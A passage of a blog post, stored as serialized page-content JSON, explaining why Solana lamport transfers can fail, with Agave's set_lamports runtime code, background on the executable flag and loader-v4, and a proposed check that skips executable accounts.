to_reimburse,\n",{"type":25,"tag":201,"props":74084,"children":74085},{"class":203,"line":490},[74086],{"type":25,"tag":201,"props":74087,"children":74088},{"style":220},[74089],{"type":31,"value":74090},"    )?;\n",{"type":25,"tag":201,"props":74092,"children":74093},{"class":203,"line":499},[74094],{"type":25,"tag":201,"props":74095,"children":74096},{"style":426},[74097],{"type":31,"value":74098},"+}\n",{"type":25,"tag":34,"props":74100,"children":74101},{},[74102],{"type":31,"value":74103},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":25,"tag":40,"props":74105,"children":74107},{"id":74106},"bug-2-writable-but-untouchable-set_lamports-fails",[74108,74110,74116],{"type":31,"value":74109},"Bug 2: Writable but Untouchable — ",{"type":25,"tag":115,"props":74111,"children":74113},{"className":74112},[],[74114],{"type":31,"value":74115},"set_lamports",{"type":31,"value":74117}," Fails",{"type":25,"tag":34,"props":74119,"children":74120},{},[74121,74123,74130],{"type":31,"value":74122},"Let's look at ",{"type":25,"tag":71,"props":74124,"children":74127},{"href":74125,"rel":74126},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[75],[74128],{"type":31,"value":74129},"BorrowedAccount::set_lamports",{"type":31,"value":80},{"type":25,"tag":191,"props":74132,"children":74134},{"className":4487,"code":74133,"language":4486,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[74135],{"type":25,"tag":115,"props":74136,"children":74137},{"__ignoreMap":7},[74138,74146,74167,74239,74247,74306,74338,74345,74353,74381,74413,74420,74428,74452,74484,74491,74499,74534,74550,74557,74585,74620,74631,74638,74645,74653,74672,74680,74720,74732,74744,74756,74787],{"type":25,"tag":201,"props":74139,"children":74140},{"class":203,"line":204},[74141],{"type":25,"tag":201,"props":74142,"children":74143},{"style":4497},[74144],{"type":31,"value":74145},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":25,"tag":201,"props":74147,"children":74148},{"class":203,"line":226},[74149,74154,74158,74163],{"type":25,"tag":201,"props":74150,"children":74151},{"style":220},[74152],{"type":31,"value":74153},"#[cfg(not(target_os ",{"type":25,"tag":201,"props":74155,"children":74156},{"style":261},[74157],{"type":31,"value":1383},{"type":25,"tag":201,"props":74159,"children":74160},{"style":267},[74161],{"type":31,"value":74162}," \"solana\"",{"type":25,"tag":201,"props":74164,"children":74165},{"style":220},[74166],{"type":31,"value":22105},{"type":25,"tag":201,"props":74168,"children":74169},{"class":203,"line":278},[74170,74174,74178,74183,74187,74191,74195,74199,74203,74207,74211,74215,74219,74223,74227,74231,74235],{"type":25,"tag":201,"props":74171,"children":74172},{"style":208},[74173],{"type":31,"value":15192},{"type":25,"tag":201,"props":74175,"children":74176},{"style":208},[74177],{"type":31,"value":15197},{"type":25,"tag":201,"props":74179,"children":74180},{"style":214},[74181],{"type":31,"value":74182}," set_lamports",{"type":25,"tag":201,"props":74184,"children":74185},{"style":220},[74186],{"type":31,"value":298},{"type":25,"tag":201,"props":74188,"children":74189},{"style":261},[74190],{"type":31,"value":4615},{"type":25,"tag":201,"props":74192,"children":74193},{"style":208},[74194],{"type":31,"value":5228},{"type":25,"tag":201,"props":74196,"children":74197},{"style":208},[74198],{"type":31,"value":15299},{"type":25,"tag":201,"props":74200,"children":74201},{"style":220},[74202],{"type":31,"value":919},{"type":25,"tag":201,"props":74204,"children":74205},{"style":246},[74206],{"type":31,"value":17008},{"type":25,"tag":201,"props":74208,"children":74209},{"style":261},[74210],{"type":31,"value":5997},{"type":25,"tag":201,"props":74212,"children":74213},{"style":4925},[74214],{"type":31,"value":7369},{"type":25,"tag":201,"props":74216,"children":74217},{"style":220},[74218],{"type":31,"value":385},{"type":25,"tag":201,"props":74220,"children":74221},{"style":261},[74222],{"type":31,"value":15259},{"type":25,"tag":201,"props":74224,"children":74225},{"style":4925},[74226],{"type":31,"value":15264},{"type":25,"tag":201,"props":74228,"children":74229},{"style":220},[74230],{"type":31,"value":15269},{"type":25,"tag":201,"props":74232,"children":74233},{"style":4925},[74234],{"type":31,"value":17253},{"type":25,"tag":201,"props":74236,"children":74237},{"style":220},[74238],{"type":31,"value":8790},{"type":25,"tag":201,"props":74240,"children":74241},{"class":203,"line":311},[74242],{"type":25,"tag":201,"props":74243,"children":74244},{"style":4497},[74245],{"type":31,"value":74246},"    // An account not owned by the program cannot have its balance decrease\n",{"type":25,"tag":201,"props":74248,"children":74249},{"class":203,"line":330},[74250,74254,74258,74262,74266,74271,74275,74280,74285,74289,74293,74297,74302],{"type":25,"tag":201,"props":74251,"children":74252},{"style":230},[74253],{"type":31,"value":13781},{"type":25,"tag":201,"props":74255,"children":74256},{"style":261},[74257],{"type":31,"value":14366},{"type":25,"tag":201,"props":74259,"children":74260},{"style":208},[74261],{"type":31,"value":15215},{"type":25,"tag":201,"props":74263,"children":74264},{"style":261},[74265],{"type":31,"value":80},{"type":25,"tag":201,"props":74267,"children":74268},{"style":214},[74269],{"type":31,"value":74270},"is_owned_by_current_program",{"type":25,"tag":201,"props":74272,"children":74273},{"style":220},[74274],{"type":31,"value":15545},{"type":25,"tag":201,"props":74276,"children":74277},{"style":261},[74278],{"type":31,"value":74279},"&&",{"type":25,"tag":201,"props":74281,"children":74282},{"style":246},[74283],{"type":31,"value":74284}," lamports",{"type":25,"tag":201,"props":74286,"children":74287},{"style":261},[74288],{"type":31,"value":3208},{"type":25,"tag":201,"props":74290,"children":74291},{"style":208},[74292],{"type":31,"value":15299},{"type":25,"tag":201,"props":74294,"children":74295},{"style":261},[74296],{"type":31,"value":80},{"type":25,"tag":201,"props":74298,"children":74299},{"style":214},[74300],{"type":31,"value":74301},"get_lamports",{"type":25,"tag":201,"props":74303,"children":74304},{"style":220},[74305],{"type":31,"value":223},{"type":25,"tag":201,"props":74307,"children":74308},{"class":203,"line":397},[74309,74313,74317,74321,74325,74329,74334],{"type":25,"tag":201,"props":74310,"children":74311},{"style":230},[74312],{"type":31,"value":17239},{"type":25,"tag":201,"props":74314,"children":74315},{"style":4925},[74316],{"type":31,"value":17244},{"type":25,"tag":201,"props":74318,"children":74319},{"style":220},[74320],{"type":31,"value":298},{"type":25,"tag":201,"props":74322,"children":74323},{"style":4925},[74324],{"type":31,"value":17253},{"type":25,"tag":201,"props":74326,"children":74327},{"style":261},[74328],{"type":31,"value":4988},{"type":25,"tag":201,"props":74330,"children":74331},{"style":4925},[74332],{"type":31,"value":74333},"ExternalAccountLamportSpend",{"type":25,"tag":201,"props":74335,"children":74336},{"style":220},[74337],{"type":31,"value":308},{"type":25,"tag":201,"props":74339,"children":74340},{"class":203,"line":437},[74341],{"type":25,"tag":201,"props":74342,"children":74343},{"style":220},[74344],{"type":31,"value":4861},{"type":25,"tag":201,"props":74346,"children":74347},{"class":203,"line":464},[74348],{"type":25,"tag":201,"props":74349,"children":74350},{"style":4497},[74351],{"type":31,"value":74352},"    // The balance of read-only may not change\n",{"type":25,"tag":201,"props":74354,"children":74355},{"class":203,"line":490},[74356,74360,74364,74368,74372,74377],{"type":25,"tag":201,"props":74357,"children":74358},{"style":230},[74359],{"type":31,"value":13781},{"type":25,"tag":201,"props":74361,"children":74362},{"style":261},[74363],{"type":31,"value":14366},{"type":25,"tag":201,"props":74365,"children":74366},{"style":208},[74367],{"type":31,"value":15215},{"type":25,"tag":201,"props":74369,"children":74370},{"style":261},[74371],{"type":31,"value":80},{"type":25,"tag":201,"props":74373,"children":74374},{"style":214},[74375],{"type":31,"value":74376},"is_writable",{"type":25,"tag":201,"props":74378,"children":74379},{"style":220},[74380],{"type":31,"value":223},{"type":25,"tag":201,"props":74382,"children":74383},{"class":203,"line":499},[74384,74388,74392,74396,74400,74404,74409],{"type":25,"tag":201,"props":74385,"children":74386},{"style":230},[74387],{"type":31,"value":17239},{"type":25,"tag":201,"props":74389,"children":74390},{"style":4925},[74391],{"type":31,"value":17244},{"type":25,"tag":201,"props":74393,"children":74394},{"style":220},[74395],{"type":31,"value":298},{"type":25,"tag":201,"props":74397,"children":74398},{"style":4925},[74399],{"type":31,"value":17253},{"type":25,"tag":201,"props":74401,"children":74402},{"style":261},[74403],{"type":31,"value":4988},{"type":25,"tag":201,"props":74405,"children":74406},{"style":4925},[74407],{"type":31,"value":74408},"ReadonlyLamportChange",{"type":25,"tag":201,"props":74410,"children":74411},{"style":220},[74412],{"type":31,"value":308},{"type":25,"tag":201,"props":74414,"children":74415},{"class":203,"line":522},[74416],{"type":25,"tag":201,"props":74417,"children":74418},{"style":220},[74419],{"type":31,"value":4861},{"type":25,"tag":201,"props":74421,"children":74422},{"class":203,"line":531},[74423],{"type":25,"tag":201,"props":74424,"children":74425},{"style":4497},[74426],{"type":31,"value":74427},"    // The balance of executable accounts may not change\n",{"type":25,"tag":201,"props":74429,"children":74430},{"class":203,"line":550},[74431,74435,74439,74443,74448],{"type":25,"tag":201,"props":74432,"children":74433},{"style":230},[74434],{"type":31,"value":13781},{"type":25,"tag":201,"props":74436,"children":74437},{"style":208},[74438],{"type":31,"value":15299},{"type":25,"tag":201,"props":74440,"children":74441},{"style":261},[74442],{"type":31,"value":80},{"type":25,"tag":201,"props":74444,"children":74445},{"style":214},[74446],{"type":31,"value":74447},"is_executable_internal",{"type":25,"tag":201,"props":74449,"children":74450},{"style":220},[74451],{"type":31,"value":223},{"type":25,"tag":201,"props":74453,"children":74454},{"class":203,"line":563},[74455,74459,74463,74467,74471,74475,74480],{"type":25,"tag":201,"props":74456,"children":74457},{"style":230},[74458],{"type":31,"value":17239},{"type":25,"tag":201,"props":74460,"children":74461},{"style":4925},[74462],{"type":31,"value":17244},{"type":25,"tag":201,"props":74464,"children":74465},{"style":220},[74466],{"type":31,"value":298},{"type":25,"tag":201,"props":74468,"children":74469},{"style":4925},[74470],{"type":31,"value":17253},{"type":25,"tag":201,"props":74472,"children":74473},{"style":261},[74474],{"type":31,"value":4988},{"type":25,"tag":201,"props":74476,"children":74477},{"style":4925},[74478],{"type":31,"value":74479},"ExecutableLamportChange",{"type":25,"tag":201,"props":74481,"children":74482},{"style":220},[74483],{"type":31,"value":308},{"type":25,"tag":201,"props":74485,"children":74486},{"class":203,"line":572},[74487],{"type":25,"tag":201,"props":74488,"children":74489},{"style":220},[74490],{"type":31,"value":4861},{"type":25,"tag":201,"props":74492,"children":74493},{"class":203,"line":590},[74494],{"type":25,"tag":201,"props":74495,"children":74496},{"style":4497},[74497],{"type":31,"value":74498},"    // don't touch the account if the lamports do not change\n",{"type":25,"tag":201,"props":74500,"children":74501},{"class":203,"line":608},[74502,74506,74510,74514,74518,74522,74526,74530],{"type":25,"tag":201,"props":74503,"children":74504},{"style":230},[74505],{"type":31,"value":13781},{"type":25,"tag":201,"props":74507,"children":74508},{"style":208},[74509],{"type":31,"value":15299},{"type":25,"tag":201,"props":74511,"children":74512},{"style":261},[74513],{"type":31,"value":80},{"type":25,"tag":201,"props":74515,"children":74516},{"style":214},[74517],{"type":31,"value":74301},{"type":25,"tag":201,"props":74519,"children":74520},{"style":220},[74521],{"type":31,"value":15545},{"type":25,"tag":201,"props":74523,"children":74524},{"style":261},[74525],{"type":31,"value":10083},{"type":25,"tag":201,"props":74527,"children":74528},{"style":246},[74529],{"type":31,"value":74284},{"type":25,"tag":201,"props":74531,"children":74532},{"style":220},[74533],{"type":31,"value":327},{"type":25,"tag":201,"props":74535,"children":74536},{"class":203,"line":617},[74537,74541,74545],{"type":25,"tag":201,"props":74538,"children":74539},{"style":230},[74540],{"type":31,"value":17239},{"type":25,"tag":201,"props":74542,"children":74543},{"style":4925},[74544],{"type":31,"value":44009},{"type":25,"tag":201,"props":74546,"children":74547},{"style":220},[74548],{"type":31,"value":74549},"(());\n",{"type":25,"tag":201,"props":74551,"children":74552},{"class":203,"line":625},[74553],{"type":25,"tag":201,"props":74554,"children":74555},{"style":220},[74556],{"type":31,"value":4861},{"type":25,"tag":201,"props":74558,"children":74559},{"class":203,"line":642},[74560,74564,74568,74573,74577,74581],{"type":25,"tag":201,"props":74561,"children":74562},{"style":208},[74563],{"type":31,"value":22281},{"type":25,"tag":201,"props":74565,"children":74566},{"style":261},[74567],{"type":31,"value":80},{"type":25,"tag":201,"props":74569,"children":74570},{"style":214},[74571],{"type":31,"value":74572},"touch",{"type":25,"tag":201,"props":74574,"children":74575},{"style":220},[74576],{"type":31,"value":15381},{"type":25,"tag":201,"props":74578,"children":74579},{"style":261},[74580],{"type":31,"value":4661},{"type":25,"tag":201,"props":74582,"children":74583},{"style":220},[74584],{"type":31,"value":461},{"type":25,"tag":201,"props":74586,"children":74587},{"class":203,"line":659},[74588,74592,74596,74600,74604,74608,74612,74616],{"type":25,"tag":201,"props":74589,"children":74590},{"style":208},[74591],{"type":31,"value":22281},{"type":25,"tag":201,"props":74593,"children":74594},{"style":261},[74595],{"type":31,"value":80},{"type":25,"tag":201,"props":74597,"children":74598},{"style":220},[74599],{"type":31,"value":14455},{"type":25,"tag":201,"props":74601,"children":74602},{"style":261},[74603],{"type":31,"value":80},{"type":25,"tag":201,"props":74605,"children":74606},{"style":214},[74607],{"type":31,"value":74115},{"type":25,"tag":201,"props":74609,"children":74610},{"style":220},[74611],{"type":31,"value":298},{"type":25,"tag":201,"props":74613,"children":74614},{"style":246},[74615],{"type":31,"value":17008},{"type":25,"tag":201,"props":74617,"children":74618},{"style":220},[74619],{"type":31,"value":308},{"type":25,"tag":201,"props":74621,"children":74622},{"class":203,"line":667},[74623,74627],{"type":25,"tag":201,"props":74624,"children":74625},{"style":4925},[74626],{"type":31,"value":15835},{"type":25,"tag":201,"props":74628,"children":74629},{"style":220},[74630],{"type":31,"value":15840},{"type":25,"tag":201,"props":74632,"children":74633},{"class":203,"line":676},[74634],{"type":25,"tag":201,"props":74635,"children":74636},{"style":220},[74637],{"type":31,"value":1187},{"type":25,"tag":201,"props":74639,"children":74640},{"class":203,"line":694},[74641],{"type":25,"tag":201,"props":74642,"children":74643},{"emptyLinePlaceholder":17},[74644],{"type":31,"value":496},{"type":25,"tag":201,"props":74646,"children":74647},{"class":203,"line":707},[74648],{"type":25,"tag":201,"props":74649,"children":74650},{"style":4497},[74651],{"type":31,"value":74652},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":25,"tag":201,"props":74654,"children":74655},{"class":203,"line":715},[74656,74660,74664,74668],{"type":25,"tag":201,"props":74657,"children":74658},{"style":220},[74659],{"type":31,"value":74153},{"type":25,"tag":201,"props":74661,"children":74662},{"style":261},[74663],{"type":31,"value":1383},{"type":25,"tag":201,"props":74665,"children":74666},{"style":267},[74667],{"type":31,"value":74162},{"type":25,"tag":201,"props":74669,"children":74670},{"style":220},[74671],{"type":31,"value":22105},{"type":25,"tag":201,"props":74673,"children":74674},{"class":203,"line":732},[74675],{"type":25,"tag":201,"props":74676,"children":74677},{"style":220},[74678],{"type":31,"value":74679},"#[inline]\n",{"type":25,"tag":201,"props":74681,"children":74682},{"class":203,"line":749},[74683,74687,74692,74696,74700,74704,74708,74712,74716],{"type":25,"tag":201,"props":74684,"children":74685},{"style":208},[74686],{"type":31,"value":21763},{"type":25,"tag":201,"props":74688,"children":74689},{"style":214},[74690],{"type":31,"value":74691}," is_executable_internal",{"type":25,"tag":201,"props":74693,"children":74694},{"style":220},[74695],{"type":31,"value":298},{"type":25,"tag":201,"props":74697,"children":74698},{"style":261},[74699],{"type":31,"value":4615},{"type":25,"tag":201,"props":74701,"children":74702},{"style":208},[74703],{"type":31,"value":15215},{"type":25,"tag":201,"props":74705,"children":74706},{"style":220},[74707],{"type":31,"value":385},{"type":25,"tag":201,"props":74709,"children":74710},{"style":261},[74711],{"type":31,"value":15259},{"type":25,"tag":201,"props":74713,"children":74714},{"style":4925},[74715],{"type":31,"value":13552},{"type":25,"tag":201,"props":74717,"children":74718},{"style":220},[74719],{"type":31,"value":327},{"type":25,"tag":201,"props":74721,"children":74722},{"class":203,"line":757},[74723,74727],{"type":25,"tag":201,"props":74724,"children":74725},{"style":261},[74726],{"type":31,"value":22465},{"type":25,"tag":201,"props":74728,"children":74729},{"style":208},[74730],{"type":31,"value":74731},"self\n",{"type":25,"tag":201,"props":74733,"children":74734},{"class":203,"line":765},[74735,74739],{"type":25,"tag":201,"props":74736,"children":74737},{"style":261},[74738],{"type":31,"value":69341},{"type":25,"tag":201,"props":74740,"children":74741},{"style":220},[74742],{"type":31,"value":74743},"transaction_context\n",{"type":25,"tag":201,"props":74745,"children":74746},{"class":203,"line":783},[74747,74751],{"type":25,"tag":201,"props":74748,"children":74749},{"style":261},[74750],{"type":31,"value":69341},{"type":25,"tag":201,"props":74752,"children":74753},{"style":220},[74754],{"type":31,"value":74755},"remove_accounts_executable_flag_checks\n",{"type":25,"tag":201,"props":74757,"children":74758},{"class":203,"line":792},[74759,74763,74767,74771,74775,74779,74783],{"type":25,"tag":201,"props":74760,"children":74761},{"style":261},[74762],{"type":31,"value":43873},{"type":25,"tag":201,"props":74764,"children":74765},{"style":208},[74766],{"type":31,"value":15299},{"type":25,"tag":201,"props":74768,"children":74769},{"style":261},[74770],{"type":31,"value":80},{"type":25,"tag":201,"props":74772,"children":74773},{"style":220},[74774],{"type":31,"value":14455},{"type":25,"tag":201,"props":74776,"children":74777},{"style":261},[74778],{"type":31,"value":80},{"type":25,"tag":201,"props":74780,"children":74781},{"style":214},[74782],{"type":31,"value":17151},{"type":25,"tag":201,"props":74784,"children":74785},{"style":220},[74786],{"type":31,"value":1882},{"type":25,"tag":201,"props":74788,"children":74789},{"class":203,"line":801},[74790],{"type":25,"tag":201,"props":74791,"children":74792},{"style":220},[74793],{"type":31,"value":1187},{"type":25,"tag":34,"props":74795,"children":74796},{},[74797],{"type":31,"value":74798},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":25,"tag":34,"props":74800,"children":74801},{},[74802,74804,74809],{"type":31,"value":74803},"Specifically, ",{"type":25,"tag":1252,"props":74805,"children":74806},{},[74807],{"type":31,"value":74808},"executable accounts",{"type":31,"value":74810}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":25,"tag":20392,"props":74812,"children":74814},{"id":74813},"sidebar-whats-the-executable-flag-anyway",[74815],{"type":31,"value":74816},"Sidebar: What's the executable Flag Anyway?",{"type":25,"tag":34,"props":74818,"children":74819},{},[74820,74821,74826],{"type":31,"value":18109},{"type":25,"tag":115,"props":74822,"children":74824},{"className":74823},[],[74825],{"type":31,"value":17151},{"type":31,"value":74827}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":25,"tag":34,"props":74829,"children":74830},{},[74831,74833,74838],{"type":31,"value":74832},"This behavior became problematic with the introduction of the ",{"type":25,"tag":1252,"props":74834,"children":74835},{},[74836],{"type":31,"value":74837},"Upgradeable BPF Loader",{"type":31,"value":74839},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":25,"tag":191,"props":74841,"children":74843},{"className":4487,"code":74842,"language":4486,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[74844],{"type":25,"tag":115,"props":74845,"children":74846},{"__ignoreMap":7},[74847,74859,74867,74887,74895,74907,74915,74935,74943,74971,74979,74987],{"type":25,"tag":201,"props":74848,"children":74849},{"class":203,"line":204},[74850,74855],{"type":25,"tag":201,"props":74851,"children":74852},{"style":4925},[74853],{"type":31,"value":74854},"Program",{"type":25,"tag":201,"props":74856,"children":74857},{"style":220},[74858],{"type":31,"value":327},{"type":25,"tag":201,"props":74860,"children":74861},{"class":203,"line":226},[74862],{"type":25,"tag":201,"props":74863,"children":74864},{"style":4497},[74865],{"type":31,"value":74866},"    /// Address of the ProgramData account.\n",{"type":25,"tag":201,"props":74868,"children":74869},{"class":203,"line":278},[74870,74875,74879,74883],{"type":25,"tag":201,"props":74871,"children":74872},{"style":246},[74873],{"type":31,"value":74874},"    programdata_address",{"type":25,"tag":201,"props":74876,"children":74877},{"style":261},[74878],{"type":31,"value":5997},{"type":25,"tag":201,"props":74880,"children":74881},{"style":4925},[74882],{"type":31,"value":22352},{"type":25,"tag":201,"props":74884,"children":74885},{"style":220},[74886],{"type":31,"value":547},{"type":25,"tag":201,"props":74888,"children":74889},{"class":203,"line":311},[74890],{"type":25,"tag":201,"props":74891,"children":74892},{"style":220},[74893],{"type":31,"value":74894},"},\n",{"type":25,"tag":201,"props":74896,"children":74897},{"class":203,"line":330},[74898,74903],{"type":25,"tag":201,"props":74899,"children":74900},{"style":4925},[74901],{"type":31,"value":74902},"ProgramData",{"type":25,"tag":201,"props":74904,"children":74905},{"style":220},[74906],{"type":31,"value":327},{"type":25,"tag":201,"props":74908,"children":74909},{"class":203,"line":397},[74910],{"type":25,"tag":201,"props":74911,"children":74912},{"style":4497},[74913],{"type":31,"value":74914},"    /// Slot that the program was last modified.\n",{"type":25,"tag":201,"props":74916,"children":74917},{"class":203,"line":437},[74918,74923,74927,74931],{"type":25,"tag":201,"props":74919,"children":74920},{"style":246},[74921],{"type":31,"value":74922},"    slot",{"type":25,"tag":201,"props":74924,"children":74925},{"style":261},[74926],{"type":31,"value":5997},{"type":25,"tag":201,"props":74928,"children":74929},{"style":4925},[74930],{"type":31,"value":7369},{"type":25,"tag":201,"props":74932,"children":74933},{"style":220},[74934],{"type":31,"value":547},{"type":25,"tag":201,"props":74936,"children":74937},{"class":203,"line":464},[74938],{"type":25,"tag":201,"props":74939,"children":74940},{"style":4497},[74941],{"type":31,"value":74942},"    /// Address of the Program's upgrade authority.\n",{"type":25,"tag":201,"props":74944,"children":74945},{"class":203,"line":490},[74946,74951,74955,74959,74963,74967],{"type":25,"tag":201,"props":74947,"children":74948},{"style":246},[74949],{"type":31,"value":74950},"    upgrade_authority_address",{"type":25,"tag":201,"props":74952,"children":74953},{"style":261},[74954],{"type":31,"value":5997},{"type":25,"tag":201,"props":74956,"children":74957},{"style":4925},[74958],{"type":31,"value":29130},{"type":25,"tag":201,"props":74960,"children":74961},{"style":220},[74962],{"type":31,"value":1298},{"type":25,"tag":201,"props":74964,"children":74965},{"style":4925},[74966],{"type":31,"value":22893},{"type":25,"tag":201,"props":74968,"children":74969},{"style":220},[74970],{"type":31,"value":7646},{"type":25,"tag":201,"props":74972,"children":74973},{"class":203,"line":499},[74974],{"type":25,"tag":201,"props":74975,"children":74976},{"style":4497},[74977],{"type":31,"value":74978},"    // The raw program data follows this serialized structure in the\n",{"type":25,"tag":201,"props":74980,"children":74981},{"class":203,"line":522},[74982],{"type":25,"tag":201,"props":74983,"children":74984},{"style":4497},[74985],{"type":31,"value":74986},"    // account's data.\n",{"type":25,"tag":201,"props":74988,"children":74989},{"class":203,"line":531},[74990],{"type":25,"tag":201,"props":74991,"children":74992},{"style":220},[74993],{"type":31,"value":74894},{"type":25,"tag":34,"props":74995,"children":74996},{},[74997,74999,75006],{"type":31,"value":74998},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":25,"tag":71,"props":75000,"children":75003},{"href":75001,"rel":75002},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[75],[75004],{"type":31,"value":75005},"SIMD-0162",{"type":31,"value":75007},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":25,"tag":34,"props":75009,"children":75010},{},[75011,75013,75018,75020,75025],{"type":31,"value":75012},"This change is also a ",{"type":25,"tag":1252,"props":75014,"children":75015},{},[75016],{"type":31,"value":75017},"hard requirement for supporting the new loader-v4",{"type":31,"value":75019},". Unlike the upgradable loader, which relies on a separate ",{"type":25,"tag":115,"props":75021,"children":75023},{"className":75022},[],[75024],{"type":31,"value":74902},{"type":31,"value":75026}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":25,"tag":34,"props":75028,"children":75029},{},[75030,75032,75039,75041,75046],{"type":31,"value":75031},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":25,"tag":71,"props":75033,"children":75036},{"href":75034,"rel":75035},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[75],[75037],{"type":31,"value":75038},"migrate",{"type":31,"value":75040}," from the upgradable loader to loader-v4 — without hitting the ",{"type":25,"tag":115,"props":75042,"children":75044},{"className":75043},[],[75045],{"type":31,"value":74479},{"type":31,"value":75047}," restriction.",{"type":25,"tag":20392,"props":75049,"children":75051},{"id":75050},"fix-2-reject-program-accounts",[75052],{"type":31,"value":75053},"Fix 2: Reject Program Accounts",{"type":25,"tag":34,"props":75055,"children":75056},{},[75057],{"type":31,"value":75058},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":25,"tag":191,"props":75060,"children":75062},{"className":4487,"code":75061,"language":4486,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[75063],{"type":25,"tag":115,"props":75064,"children":75065},{"__ignoreMap":7},[75066,75142,75190,75206,75213,75252,75296,75320,75369,75397],{"type":25,"tag":201,"props":75067,"children":75068},{"class":203,"line":204},[75069,75073,75077,75082,75086,75090,75094,75098,75102,75106,75110,75114,75118,75122,75126,75130,75134,75138],{"type":25,"tag":201,"props":75070,"children":75071},{"style":208},[75072],{"type":31,"value":15192},{"type":25,"tag":201,"props":75074,"children":75075},{"style":208},[75076],{"type":31,"value":15197},{"type":25,"tag":201,"props":75078,"children":75079},{"style":214},[75080],{"type":31,"value":75081}," can_transfer_lamports",{"type":25,"tag":201,"props":75083,"children":75084},{"style":220},[75085],{"type":31,"value":298},{"type":25,"tag":201,"props":75087,"children":75088},{"style":246},[75089],{"type":31,"value":14455},{"type":25,"tag":201,"props":75091,"children":75092},{"style":261},[75093],{"type":31,"value":5997},{"type":25,"tag":201,"props":75095,"children":75096},{"style":261},[75097],{"type":31,"value":8650},{"type":25,"tag":201,"props":75099,"children":75100},{"style":4925},[75101],{"type":31,"value":16437},{"type":25,"tag":201,"props":75103,"children":75104},{"style":220},[75105],{"type":31,"value":919},{"type":25,"tag":201,"props":75107,"children":75108},{"style":246},[75109],{"type":31,"value":17008},{"type":25,"tag":201,"props":75111,"children":75112},{"style":261},[75113],{"type":31,"value":5997},{"type":25,"tag":201,"props":75115,"children":75116},{"style":4925},[75117],{"type":31,"value":7369},{"type":25,"tag":201,"props":75119,"children":75120},{"style":220},[75121],{"type":31,"value":385},{"type":25,"tag":201,"props":75123,"children":75124},{"style":261},[75125],{"type":31,"value":15259},{"type":25,"tag":201,"props":75127,"children":75128},{"style":4925},[75129],{"type":31,"value":15264},{"type":25,"tag":201,"props":75131,"children":75132},{"style":220},[75133],{"type":31,"value":1298},{"type":25,"tag":201,"props":75135,"children":75136},{"style":4925},[75137],{"type":31,"value":31169},{"type":25,"tag":201,"props":75139,"children":75140},{"style":220},[75141],{"type":31,"value":8790},{"type":25,"tag":201,"props":75143,"children":75144},{"class":203,"line":226},[75145,75149,75154,75158,75162,75166,75170,75174,75178,75182,75186],{"type":25,"tag":201,"props":75146,"children":75147},{"style":208},[75148],{"type":31,"value":21763},{"type":25,"tag":201,"props":75150,"children":75151},{"style":214},[75152],{"type":31,"value":75153}," is_program",{"type":25,"tag":201,"props":75155,"children":75156},{"style":220},[75157],{"type":31,"value":298},{"type":25,"tag":201,"props":75159,"children":75160},{"style":246},[75161],{"type":31,"value":14455},{"type":25,"tag":201,"props":75163,"children":75164},{"style":261},[75165],{"type":31,"value":5997},{"type":25,"tag":201,"props":75167,"children":75168},{"style":261},[75169],{"type":31,"value":8650},{"type":25,"tag":201,"props":75171,"children":75172},{"style":4925},[75173],{"type":31,"value":16437},{"type":25,"tag":201,"props":75175,"children":75176},{"style":220},[75177],{"type":31,"value":385},{"type":25,"tag":201,"props":75179,"children":75180},{"style":261},[75181],{"type":31,"value":15259},{"type":25,"tag":201,"props":75183,"children":75184},{"style":4925},[75185],{"type":31,"value":13552},{"type":25,"tag":201,"props":75187,"children":75188},{"style":220},[75189],{"type":31,"value":327},{"type":25,"tag":201,"props":75191,"children":75192},{"class":203,"line":278},[75193,75197,75201],{"type":25,"tag":201,"props":75194,"children":75195},{"style":246},[75196],{"type":31,"value":26657},{"type":25,"tag":201,"props":75198,"chil